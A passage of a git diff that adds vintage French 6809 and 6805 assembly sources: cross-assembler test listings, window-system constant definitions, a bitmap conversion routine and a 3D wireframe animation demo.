+ JSR T1
+
+
+* Assemblage type 3
+*
+* STAA [<]<exp. 8 bits> direct
+* STAA [<]<exp. 8 bits>,X indexe offset
+* 8 bits
+* STAA [>]<exp.16 bits>
+*
+* si '>' impose mode étendu
+* si '>' impose mode étendu
+* si rien fait au mieux selon expres
+*---------------------------------------
+
+T3 STAA VAR
+ STAA PORTF
+ STAA <VAR
+ STAA >VAR
+ STAA VAR,X
+ STAA <VAR,X
+ STA VAR *
+ STAB VAR
+ STB VAR *
+ STX VAR
+ STS VAR
+ STAD VAR
+ STD VAR *
+
+
+* Assemblage type 4 et 5
+*
+* ADDA #<exp. 8/16 bits>
+* ADDA [<]<exp. 8 bits>
+* ADDA [<]<exp. 8 bits>,X
+* ADDA [>]<exp. 16 bits>
+*
+* si '>' impose mode étendu
+* si '>' impose mode étendu
+* si rien fait au mieux selon expres
+*---------------------------------------
+
+T45 ADDA #CNST1
+ ADDA #25
+ ADDA #$23
+ ADDA VAR
+ ADDA PORTF
+ ADDA <VAR
+ ADDA >VAR
+ ADDA VAR,X
+ ADDA <$12,X
+ ADDB #25
+ ADCA #25
+ ADCB #25
+ ANDA #25
+ ANDB #25
+ BITA #25
+ BITB #25
+ CMPA #25
+ CMPB #25
+ EORA #25
+ EORB #25
+ LDAA #25
+ LDA #25 *
+ LDAB #25
+ LDB #25 *
+ ORAA #25
+ ORA #25 *
+ ORAB #25
+ ORB #25 *
+ SUBA #25
+ SUBB #25
+ SBCA #25
+ SBCB #25
+ CPX #25
+ CMPX #25 *
+ LDX #25
+ LDS #25
+ ADDD #25
+ LDAD #25
+ LDD #25 *
+ SUBD #25
+
+FINPRG EQU *
+ END
diff --git a/code/3rdparty/sources1-hmel/ESS6805.ASM b/code/3rdparty/sources1-hmel/ESS6805.ASM
new file mode 100644
index 0000000..2906c59
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/ESS6805.ASM
@@ -0,0 +1,230 @@
+****************************************
+* *
+* Essai de l'assembleur croisé 6805 *
+* *
+*--------------------------------------*
+* *
+* les instuctions commentées par * *
+* sont des mnémos ajoutés par esprit *
+* cartésien et soucis de cohérence *
+* avec le code 6809 !!! *
+* *
+****************************************
+
+ TITLE ESSAIASM6805
+
+LED EQU 3 bit commande led
+SWITCH EQU 7 bit interrupteur
+PORTB EQU $0001
+FLG SET 50
+
+ ORG $0010 ram
+
+MEMPT RMB 2
+VAR RMB 1
+
+ PAGE
+ ORG $0080 rom
+
+CNST1 FCB 10
+CNST2 FDB $1234
+MESS FCC 'SALUTOHBRICOLEUR'
+* INCLUD FILE include mis en
+* commentaire !!
+
+
+* Assemblage type 0
+*
+* adressage inherent
+*---------------------------------------
+
+T0 TAX
+ TXA
+ SEC
+ CLC
+ SEI
+ CLI
+ SWI
+ RTS
+ RTI
+ RSP
+ NOP
+ STOP
+ WAIT
+ INCA
+ INCX
+ DECA
+ DECX
+ CLRA
+ CLRX
+ COMA
+ COMX
+ NEGA
+ NEGX
+ ROLA
+ ROLX
+ RORA
+ RORX
+ LSLA
+ LSLX
+ LSRA
+ LSRX
+ ASLA *
+ ASLX *
+ ASRA
+ ASRX
+ TSTA
+ TSTX
+
+
+* Assemblage type 1
+*
+* adressage PC relatif -128..+127
+*
+* BRA LABEL
+* BRA LABEL+1
+* BRA *+25
+*---------------------------------------
+
+T1 BRA *
+ BRN T1
+ BHI *
+ BLS *
+ BCC *
+ BHS *
+ BCS *
+ BLO *
+ BNE *
+ BEQ *
+ BHCC *
+ BHCS *
+ BPL *
+ BMI *
+ BMC *
+ BMS *
+ BIL *
+ BIH *
+ BSR *
+
+
+* Assemblage type 2
+*
+* INC [<]<exp. 8 bits> direct
+*
+* INC ,X indexe pas
+* d'offset
+* INC [<]<exp. 8 bits>,X indexe offset
+* sur 8 bits
+*---------------------------------------
+
+T2 INC VAR
+ INC ,X
+ INC CNST2,X
+ DEC VAR
+ CLR VAR
+ COM VAR
+ NEG VAR
+ ROL VAR
+ ROR VAR
+ LSL VAR
+ LSR VAR
+ ASL VAR *
+ ASR VAR
+ TST VAR
+
+
+* Assemblage type 3
+*
+* BRSET #<exp. 3 bits>,
+* [<]<exp. 8 bits>,
+* <déplacement relat. -128..127>
+*---------------------------------------
+
+T3 BRSET #SWITCH,PORTB,T1
+ BRCLR #SWITCH,<PORTB,T2
+
+
+* Assemblage type 4
+*
+* BSET #<exp. 3 bits>,
+* [<]<exp. 8 bits>
+*---------------------------------------
+
+T4 BSET #LED,PORTB
+ BCLR #LED,<PORTB
+
+
+* Assemblage type 5
+*
+* STA [<]<exp. 8 bits>
+* STA [>]<exp. 16 bits>
+* STA ,X
+* STA [<]<exp. 8 bits>,X
+* STA [>]<exp. 16 bits>,X
+*
+* Nb: si '<' impose mode direct
+* si '>' impose mode étendu
+* si rien fait au mieux selon expres
+*---------------------------------------
+
+T5 STA VAR
+ STA >VAR
+ STA ,X
+ STA <VAR,X
+ STA >VAR,X
+ STX VAR
+ JMP T1
+ JMP FINPRG
+ JMP ,X
+ JMP T1,X
+ JMP FINPRG,X
+ JSR T1
+
+
+* Assemblage type 6
+*
+* LDA #<exp. 8 bits>
+* LDA [<]<exp. 8 bits>
+* LDA [>]<exp. 16 bits>
+* LDA ,X
+* LDA [<]<exp. 8 bits>,X
+* LDA [>]<exp. 16 bits>,X
+*
+* Nb: si '<' impose mode direct
+* si '>' impose mode étendu
+* si rien fait au mieux selon expres
+*---------------------------------------
+
+T6 LDA #CNST1
+ LDA #25
+ LDA #$23
+ LDA VAR
+ LDA >VAR
+ LDA $1000
+ LDA ,X
+ LDA <VAR,X
+ LDA >$1235,X
+ LDX #CNST1
+ ADD #CNST1
+ ADC #CNST1
+ SUB #CNST1
+ SBC #CNST1
+ AND #CNST1
+ ORA #CNST1
+ EOR #CNST1
+ CMP #CNST1
+ CPX #CNST1
+ BIT #CNST1
+
+ ADDA #CNST1 *
+ ADCA #CNST1 *
+ SUBA #CNST1 *
+ SBCA #CNST1 *
+ ANDA #CNST1 *
+ EORA #CNST1 *
+ CMPA #CNST1 *
+ CMPX #CNST1 *
+ BITA #CNST1 *
+
+FINPRG EQU *
+ END
diff --git a/code/3rdparty/sources1-hmel/FEN-EQU.ASM b/code/3rdparty/sources1-hmel/FEN-EQU.ASM
new file mode 100644
index 0000000..093064a
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/FEN-EQU.ASM
@@ -0,0 +1,176 @@
+ TITLE FEN: parametres
+* --------------------------
+ PAGE
+
+****************************************
+* *
+* Parametres du FENETRAGE TO-FEN *
+* *
+****************************************
+
+
+
+* Couleurs
+*---------------------------------------
+
+NOIR EQU 0
+ROUGE EQU 1
+VERT EQU 2
+JAUNE EQU 3
+BLEU EQU 4
+MAGENT EQU 5
+CYAN EQU 6
+BLANC EQU 7
+GRIS EQU 8
+ROSE EQU 9
+VERTCL EQU 10
+SABLE EQU 11
+BLEUCL EQU 12
+PARME EQU 13
+BLEUCI EQU 14
+ORANGE EQU 15
+
+TRANSP EQU $FF non gere = transp.
+
+
+* Blocs de descripteurs de fenetres
+*---------------------------------------
+
+FLOCA EQU 0
+FLOCF EQU 1
+FLOCR EQU 2
+FTOURI EQU 3
+FTOURE EQU 4
+FCADRE EQU 5
+FCOULF EQU 6
+FFOND EQU 7
+FTRAME EQU 8
+FMASQ EQU 9
+FINVVD EQU 10
+FTEXTE EQU 11
+FEDI EQU 12
+FCALL EQU 13
+FDO EQU 14
+FLOOP EQU 15
+FSTOP EQU 16
+FPOUSS EQU 17
+FINV EQU 18
+FCOMF EQU 19
+FCZI EQU 20
+
+
+* Deplacement des indirection vers les
+* S/P de fenetrage dans le binaire
+* relogeable.
+* Nb: BASEF doit etre prealablement
+* equivalence a l'adresse d'implant.
+* du binaire
+*---------------------------------------
+
+FENINI EQU BASEF+0
+FENFIN EQU BASEF+3
+FENOUV EQU BASEF+6
+FENRPL EQU BASEF+9
+FENFER EQU BASEF+12
+FENACT EQU BASEF+15
+FENDES EQU BASEF+18
+FEN EQU BASEF+21
+FENLCZ EQU BASEF+24
+FENCH EQU BASEF+27
+FENVIS EQU BASEF+30
+FENLOC EQU BASEF+33
+FENLOF EQU BASEF+36
+FENLOR EQU BASEF+39
+FENTI EQU BASEF+42
+FENTE EQU BASEF+45
+FENCAD EQU BASEF+48
+FENCF EQU BASEF+51
+FENFON EQU BASEF+54
+FENTRA EQU BASEF+57
+FENMAS EQU BASEF+60
+FENIVD EQU BASEF+63
+FENSEL EQU BASEF+66
+FENTXT EQU BASEF+69
+FENPUT EQU BASEF+72
+FENEDI EQU BASEF+75
+FENTOR EQU BASEF+78
+FENERR EQU BASEF+81
+
+SOUDAN EQU BASEF+84
+DECBIN EQU BASEF+87
+SIGBIN EQU BASEF+90
+HEXBIN EQU BASEF+93
+BINDCG EQU BASEF+96
+BINDCD EQU BASEF+99
+BINSGG EQU BASEF+102
+BINSGD EQU BASEF+105
+BINHX1 EQU BASEF+108
+BINHX2 EQU BASEF+111
+
+SBREAK EQU BASEF+114
+TBREAK EQU BASEF+117
+
+DOSSEL EQU BASEF+120
+DOSDIR EQU BASEF+123
+DOSFIL EQU BASEF+126
+DOSCZI EQU BASEF+129
+DOSINI EQU BASEF+132
+DOSREN EQU BASEF+135
+DOSSUP EQU BASEF+138
+DOSDUP EQU BASEF+141
+DOSCAT EQU BASEF+144
+DOSTST EQU BASEF+147
+DOSCNF EQU BASEF+150
+DOSERR EQU BASEF+153
+DOSCOU EQU BASEF+156
+
+FENCNT EQU BASEF+159
+
+
+* valeur de caractère pour l'édition
+* d'une balise de pointage par FENTXT
+*---------------------------------------
+
+BALISE EQU $1D
+
+
+* Valeurs des entites d'une fenetre
+*---------------------------------------
+
+OFF EQU $00 touches
+ON EQU $01
+
+INTERD EQU $FF interdiction
+
+TEXTE EQU $00 saisies
+DECIM EQU $01
+SIGNE EQU $02
+HEXA EQU $03
+
+
+* Type des entites d'une fenetre
+*---------------------------------------
+
+POUSS EQU $00 poussoir
+INVERS EQU $01 inverseur
+CHACZI EQU $02 champ de saisie
+
+
+* Déplacements sur le descripteur d'une
+* entite fenetre
+*---------------------------------------
+
+CODEQU EQU 0 code equivalent
+TYP EQU 1 POUSS:INVERS:CZI
+* ------------------
+VAL EQU 2 OFF :OFF :TEXTE
+* ON :ON :DECIM
+* : :SIGNE
+* : :HEXA
+* INTER:INTERD:INTER
+
+RNG EQU 3 rangee debut
+COL EQU 4 colonne debut
+HAUT EQU 5 hauteur
+LARG EQU 6 largeur
+SUIV EQU 7 pointeur bloc suiv
diff --git a/code/3rdparty/sources1-hmel/SOURCE10.SAP b/code/3rdparty/sources1-hmel/SOURCE10.SAP
new file mode 100755
index 0000000..aee7f77
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/SOURCE10.SAP
Binary files differ
diff --git a/code/3rdparty/sources1-hmel/SOURCE11.SAP b/code/3rdparty/sources1-hmel/SOURCE11.SAP
new file mode 100755
index 0000000..dee2d3f
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/SOURCE11.SAP
Binary files differ
diff --git a/code/3rdparty/sources2-hcl/@BITMAP4.ASM b/code/3rdparty/sources2-hcl/@BITMAP4.ASM
new file mode 100644
index 0000000..47319bd
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/@BITMAP4.ASM
@@ -0,0 +1,113 @@
+****************************************
+*Conversion du BITMAP4 spécial en plans*
+****************************************
+
+ ORG $9E00
+DIR EQU $9E
+Z EQU $DE
+
+G PSHS U,Y,X,DP,B,A,CC
+ ORCC #80
+ LDA #DIR
+ TFR A,DP
+ CLR $E7E5
+
+ LDU #$A000
+ LDX #$C000
+
+CONVER CLR <Z
+ CLR <Z+1
+
+ LDD #$8080
+ BITA ,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$4080
+ BITA ,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$2040
+ BITA ,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$1040
+ BITA ,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0820
+ BITA ,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0420
+ BITA ,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0210
+ BITA ,X
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0110
+ BITA ,X
+ BEQ *+6
+ ORB <Z
+ STB <Z
+
+ LDD #$8008
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$4008
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$2004
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$1004
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0802
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0402
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0201
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0101
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+
+ LDD <Z
+ STA ,U+
+ STB ,X+
+ CMPX #$DF40
+ LBNE CONVER
+
+ PULS CC,A,B,DP,X,Y,U,PC
+ FCC "(c) HCL 92"
+ FDB 0
+ZZZEND
+ END
diff --git a/code/3rdparty/sources2-hcl/ANIMA3D.ASM b/code/3rdparty/sources2-hcl/ANIMA3D.ASM
new file mode 100644
index 0000000..1d6312b
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/ANIMA3D.ASM
@@ -0,0 +1,1480 @@
+****************************************
+* *
+* 3D fil de fer by Doctor Lô *
+* *
+***************31-10-90*****************
+* et 19-1-91 *
+* éditeur le 26-1-91 *
+****************************************
+
+
+TEXTE EQU $7200
+OBJETS EQU $7300
+EXEC EQU $89E0
+CENTRE EQU $8A00
+SINUS EQU $8E00
+FONTES EQU $9080
+LINKS EQU $917A
+CODE EQU $926A
+DIR EQU $9E
+Z EQU $D8
+CORDOS EQU $9F00
+ECRAN EQU $C000-31*40
+ECRTXT EQU $DE7A adresse à l'écran
+HAUT EQU 192
+QUAD EQU 128
+NN EQU $8000 masque "non nul"
+
+
+ ORG EXEC procédure d'appel
+ ORCC #80
+ LDD #$20E
+ BSR COPBNK
+ JSR G
+ LDD #$E02
+COPBNK LDX #$A000 copie de la bank 2
+ STA $E7E5 (basic) en bank 14
+ LDU ,X
+ STB $E7E5
+ STU ,X++
+ CMPX #$E000
+ BLO *-13
+ RTS
+
+ ORG LINKS
+ FDB $25B,$B02,NN+12,ARETES
+ FCB 11,12,1,12
+ FDB $373,$B00,0,COLOUR
+ FCB 0,13,2,13
+ FDB $4E8,$200,0,SCROLL
+ FCB 1,14,3,14
+ FDB $675,$800,OBJETS,NOBJ
+ FCB 2,3,4,3
+ FDB $78D,$800,0,NOBJ
+ FCB 3,15,5,4
+ FDB $8A5,$800,0,NOBJ
+ FCB 4,16,6,15
+ FDB $9BD,$800,0,NOBJ
+ FCB 5,17,7,16
+ FDB $AD5,$800,0,NOBJ
+ FCB 6,7,8,17
+ FDB $BED,$800,0,NOBJ
+ FCB 7,8,9,8
+ FDB $D80,$200,0,SCROLL
+ FCB 8,9,10,9
+ FDB $151E,$A00,1,CENTR1
+ FCB 9,10,11,10
+ FDB $1636,$A01,4,CENTR2
+ FCB 10,18,0,11
+ FDB $274,$A03,511,ANGLES
+ FCB 19,0,13,0
+ FDB $38C,$A03,511,ANGLES
+ FCB 12,1,14,1
+ FDB $4A4,$A03,511,ANGLES
+ FCB 13,2,15,2
+ FDB $7E8,$E03,511,SPEEDS
+ FCB 14,5,16,4
+ FDB $900,$E03,511,SPEEDS
+ FCB 15,6,17,5
+ FDB $A18,$E03,511,SPEEDS
+ FCB 16,7,18,6
+ FDB $18F3,$A03,NN+999,WAITS
+ FCB 17,18,19,11
+ FDB $1A0B,$A04,NN+9999,WAITS
+ FCB 18,19,12,19
+
+ ORG CODE
+G LDA #$E7
+ EXG A,DP
+ LDB <$E6
+ STD RDP+1
+ LDA #$60 écran $4000-$5F40
+ STA <$E6 (de l'éditeur)
+ CLR <$DC en cartouche
+
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDX #MAP décompacte image
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ INCB
+ STB <$E5
+ LDD #$100
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+
+ LDB #2 copie fond éditeur
+COPICT STB <$E5 dans écran démo
+ LDX #$DF40
+ CLR ,-X
+ CMPX #$C000
+ BNE *-5
+ LDX #$A000
+ LDU #$2000
+ LDA ,U
+ LDB #40
+ STA ,X+
+ DECB
+ BNE *-3
+ LEAU 40,U
+ CMPX #$BF40
+ BNE *-15
+ LDB <$E5
+ INCB
+ CMPB #4
+ BNE COPICT
+ LDD ,--U
+ STD ,--X
+ CMPX #$BDD8
+ BNE *-7
+ LDX #$DDD8
+ LDU #$1DD8
+ LDD ,U++
+ STD ,X++
+ CMPX #$DF40
+ BNE *-7
+ LDX #$DE7A
+ LDY #TEXTE
+ LDB ,Y+
+ JSR PUTC
+ CMPX #$DE9E
+ BNE *-8
+
+ LDA #DIR
+ TFR A,DP
+ LDD #TEXTE initialisations
+ STD <Z+34
+ LDD #ECRTXT
+ STD <Z+36
+ LDD #100 latence du texte
+ STD WAITXT+1
+ STD <Z+32
+ LDU #OBJETS
+ JSR DEFOBJ
+ LDA #128
+ STA $E7DD
+ LDA #1
+ LDX #256
+BLUES TST $E7E7 apparition 'fondu'
+ BMI *-3
+ TST $E7E7
+ BPL *-3
+ TFR A,B
+ LEAY ,X
+ JSR $EC00
+ INCA
+ CMPA #7
+ BNE *-8
+ TFR B,A
+ LEAX 256,X
+ INCA
+ CMPA #7
+ BNE BLUES
+ LDA #15
+ LDX #-1
+ LEAY 1,X
+ JSR $EC00
+ STX MAP-34
+ LDX #MAP-64
+ LDA #-1
+ JSR $EC00
+
+ LDA #$62 scroll de la barre
+ STA $E7E6
+ LDX #$3DFF-40
+ STX <Z
+ LDA #1
+SONIA STA <Z+2
+ TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ LDB #9
+ STB <Z+3
+ LDU #$BDD8-40
+ STU <Z+4
+HELENE LDX <Z
+ LEAX 40,X
+ STX <Z
+ LDU <Z+4
+ LEAU 40,U
+ STU <Z+4
+ LDB <Z+2
+ LDA ,U+
+ STA ,X+
+ LDA $1FFF,U
+ STA -$2001,X
+ DECB
+ BNE *-13
+ DEC <Z+3
+ BNE HELENE
+ LDX <Z
+ LEAX -361,X
+ STX <Z
+ LDA <Z+2
+ INCA
+ CMPA #41
+ BNE SONIA
+ LDA #$60
+ STA $E7E6
+
+BIGBCL LDD #$2C0 boucle principale
+ STA $E7E5
+ STB $E7DD
+ BSR IMAGE
+ LDD #$380
+ STA $E7E5
+ STB $E7DD
+ BSR IMAGE
+ TST $E7C8
+ BEQ BIGBCL
+ JSR $E806
+ CMPB #$99 sortie avec 'F10'
+ LBNE EDITOR
+
+RDP LDD #0 retour au basic
+ TFR A,DP
+ STB $E7E6
+ CLR $E7DD
+ LDX #MAP-32
+ LDA #255
+ JSR $EC00
+ RTS
+
+IMAGE STS RS+2 génère un écran
+ LDA #HAUT/12-1
+ STA <Z
+ LDU #VIDE effacement total
+ PULU D,X,Y,S
+ LDU #ECRAN+(HAUT+28)*40-8
+RUB FCC /6v6v6v3P6v6v6v3P/
+ FCC /6v6v6v3P6v6v6v3P/
+ FCC /6v6v6v3P6v6v6v3P/
+ FCC /6v6v6v3P6v6v6v3P/
+ FCC /6v6v6v3P6v6v6v3P/
+ FCC /6v6v6v3P6v6v6v3P/
+ DEC <Z
+ BNE RUB
+ FCC /6v6v6v3P6v6v6v/
+
+ LDX <Z+32 affiche une lettre
+ BEQ *+8
+ LEAX -1,X
+ STX <Z+32
+ BRA FAFTEX
+ LDY <Z+34 où dans le texte
+ LDB ,Y
+ LDA #5
+ MUL
+ LDU #FONTES
+ LEAU D,U
+ LDX <Z+36 position à l'écran
+ PULU D
+ STA -80,X
+ STB -40,X
+ PULU D
+ STA ,X
+ STB 40,X
+ LDA ,U
+ STA 80,X
+ INC <Z+31
+ LDA #1
+ BITA <Z+31
+ BEQ WAITXT+5
+ LEAX 1,X
+ LEAY 1,Y
+ LDB ,Y
+ BPL *+6
+ LDY #TEXTE
+ CMPX #ECRTXT+36
+ BNE *+10
+ LDX #ECRTXT
+WAITXT LDD #0
+ STD <Z+32
+ STX <Z+36
+ STY <Z+34
+
+FAFTEX LDX <Z+38
+ LEAX -1,X
+ STX <Z+38
+ BNE *+13
+ LDX <Z+29
+ LDU 10,X
+ LDS RS+2
+ JSR DEFOBJ objet suivant
+
+ LDU <Z+18
+ LDA ,U+ nbre de points
+ STA <Z+14
+ LDS #CORDOS
+ LDX <Z+27 abcisse du centre
+ LDA ,X
+ ANDA #7
+ ADDA #92
+ STA ABCENT+1
+ LDB ,X
+ LSRB
+ LSRB
+ LSRB
+VITCEN LEAX 7,X
+ CMPX #CENTRE+512
+ BLO *+6
+ LEAX -512,X
+ STX <Z+27
+ LDX #ECRAN
+ ABX
+ STX LINE1-28
+ STX LINE2-26
+ STX LINE3-28
+ STX LINE4-26
+ LDX #ECRAN+(HAUT+22)*40+24
+ ABX
+ STX RUB-2
+
+**** rotation autour de (zz') ****
+COORD LDX <Z+8 pointe sur cos (a)
+ LDA ,U abcisse (X)
+ LDB ,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+4 ABS ( X * cos a )
+ LDA ,U
+ EORA ,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+4
+ STD <Z+4
+
+ LDA 1,U ordonnée (Y)
+ LDB QUAD,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+6 ABS ( Y * sin a )
+ LDA 1,U
+ EORA QUAD,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+6
+ STD <Z+6
+
+ LDD <Z+4
+ SUBD <Z+6
+ ASLB
+ ROLA
+ BCC *+11
+ STD <Z+4
+ LDD #0
+ SUBD <Z+4
+ ORA #128
+ STA <Z X' = Xcosa - Ysina
+
+ LDA ,U abcisse (X)
+ LDB QUAD,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+4 ABS ( X * sin a )
+ LDA ,U+
+ EORA QUAD,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+4
+ STD <Z+4
+
+ LDA ,U ordonnée (Y)
+ LDB ,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+6 ABS ( Y * cos a )
+ LDA ,U+
+ EORA ,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+6
+ STD <Z+6
+
+ LDD <Z+4
+ ADDD <Z+6
+ ASLB
+ ROLA
+ BCC *+11
+ STD <Z+4
+ LDD #0
+ SUBD <Z+4
+ ORA #128
+ STA <Z+1 Y' = Xsina + Ycosa
+
+**** rotation autour de (yy') ****
+
+ LDX <Z+10 pointe sur cos (b)
+ LDA ,U cote (Z)
+ LDB ,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+4 ABS ( Z * cos b )
+ LDA ,U
+ EORA ,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+4
+ STD <Z+4
+
+ LDA <Z abcisse (X)
+ LDB QUAD,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+6 ABS ( X * sin b )
+ LDA <Z
+ EORA QUAD,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+6
+ STD <Z+6
+
+ LDD <Z+4
+ SUBD <Z+6
+ ASLB
+ ROLA
+ BCC *+11
+ STD <Z+4
+ LDD #0
+ SUBD <Z+4
+ ORA #128
+ STA <Z+15 Z' = Zcosb - Xsinb
+
+ LDA ,U cote (Z)
+ LDB QUAD,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+4 ABS ( Z * sin b )
+ LDA ,U+
+ EORA QUAD,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+4
+ STD <Z+4
+
+ LDA <Z abcisse (X)
+ LDB ,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+6 ABS ( X * cos b )
+ LDA <Z
+ EORA ,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+6
+ STD <Z+6
+
+ LDD <Z+4
+ ADDD <Z+6
+ ASLB
+ ROLA
+ BCC *+11
+ STD <Z+4
+ LDD #0
+ SUBD <Z+4
+ ORA #128
+ STA <Z+16 X' = Zsinb + Xcosb
+
+**** rotation autour de (xx') ****
+
+ LDX <Z+12 pointe sur cos (c)
+ LDA <Z+1 ordonnée (Y)
+ LDB ,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+4 ABS ( Y * cos c )
+ LDA <Z+1
+ EORA ,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+4
+ STD <Z+4
+
+ LDA <Z+15 cote (Z)
+ LDB QUAD,X
+ ANDA #127
+ ANDB #127
+ MUL
+ STD <Z+6 ABS ( Z * sin c )
+ LDA <Z+15
+ EORA QUAD,X
+ BPL *+9
+ LDD #0
+ SUBD <Z+6
+ STD <Z+6
+
+ LDD <Z+4
+ SUBD <Z+6
+ ASLB
+ ROLA
+ BCC *+11
+ STD <Z+4
+ LDD #0
+ SUBD <Z+4
+ ORA #128
+ STA <Z+17 Y' = Ycosc - Zsinc
+
+ LDD <Z+16
+ ANDA #127
+ CMPA <Z+16
+ BEQ *+3
+ NEGA
+ABCENT ADDA #0 x centre écran
+ ANDB #127
+ CMPB <Z+17
+ BEQ *+3
+ NEGB
+ ADDB #124 y centre écran
+
+ STD ,S++ remplit table des
+ DEC <Z+14 coordonnées écran
+ LBNE COORD
+RS LDS #0
+
+ LDA <Z+26 nbre de segments
+ STA <Z+14
+ LDY #VIDE-8
+TRACE LDX #CORDOS
+ LDB ,U+
+ LDD B,X
+ STD <Z+6
+ LDB ,U+
+ LDD B,X trace les segments
+ BSR DRAW entre différentes
+ DEC <Z+14 coordonnées écran
+ BNE TRACE
+
+ LDD <Z+8
+ ADDD <Z+20
+ CMPD #SINUS+4*QUAD
+ BLO *+5
+ SUBD #4*QUAD
+ STD <Z+8
+ LDD <Z+10
+ ADDD <Z+22
+ CMPD #SINUS+4*QUAD
+ BLO *+5
+ SUBD #4*QUAD
+ STD <Z+10
+ LDD <Z+12
+ ADDD <Z+24
+ CMPD #SINUS+4*QUAD
+ BLO *+5
+ SUBD #4*QUAD
+ STD <Z+12
+ RTS
+
+
+DRAW STD <Z+4
+ CMPA <Z+6 si x1 > x2 alors
+ BLS *+10 permutation
+ LDX <Z+6
+ STX <Z+4
+ STD <Z+6
+ LDB <Z+5
+
+ CMPB <Z+7
+ LBHI MONTEE quand y1 < y2
+
+ LDD <Z+6
+ SUBA <Z+4 A = (dx)
+ STA <Z+1
+ SUBB <Z+5 B = (dy)
+ CMPB <Z+1
+ LBHI VERTI1 quand (dy) > (dx)
+
+ TFR B,A
+ CLRB (dy) / (dx) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB MMSEG1+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,Y
+ STA <Z
+ INC <Z+1
+ CLRB
+
+ LDA ,X
+LINE1 ORA <Z
+ DEC <Z+1
+ BNE *+5
+ STA ,X
+ RTS
+ LSR <Z
+ BNE MMSEG1
+ ROR <Z
+ STA ,X+
+ LDA ,X
+MMSEG1 ADDB #0
+ BCC LINE1
+ STA ,X
+ LEAX 40,X
+ BRA LINE1-2
+
+VERTI1 STB <Z+1
+ CLRB (dx) / (dy) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB VIRG1+1
+
+ LDX #ECRAN
+ LDA #40
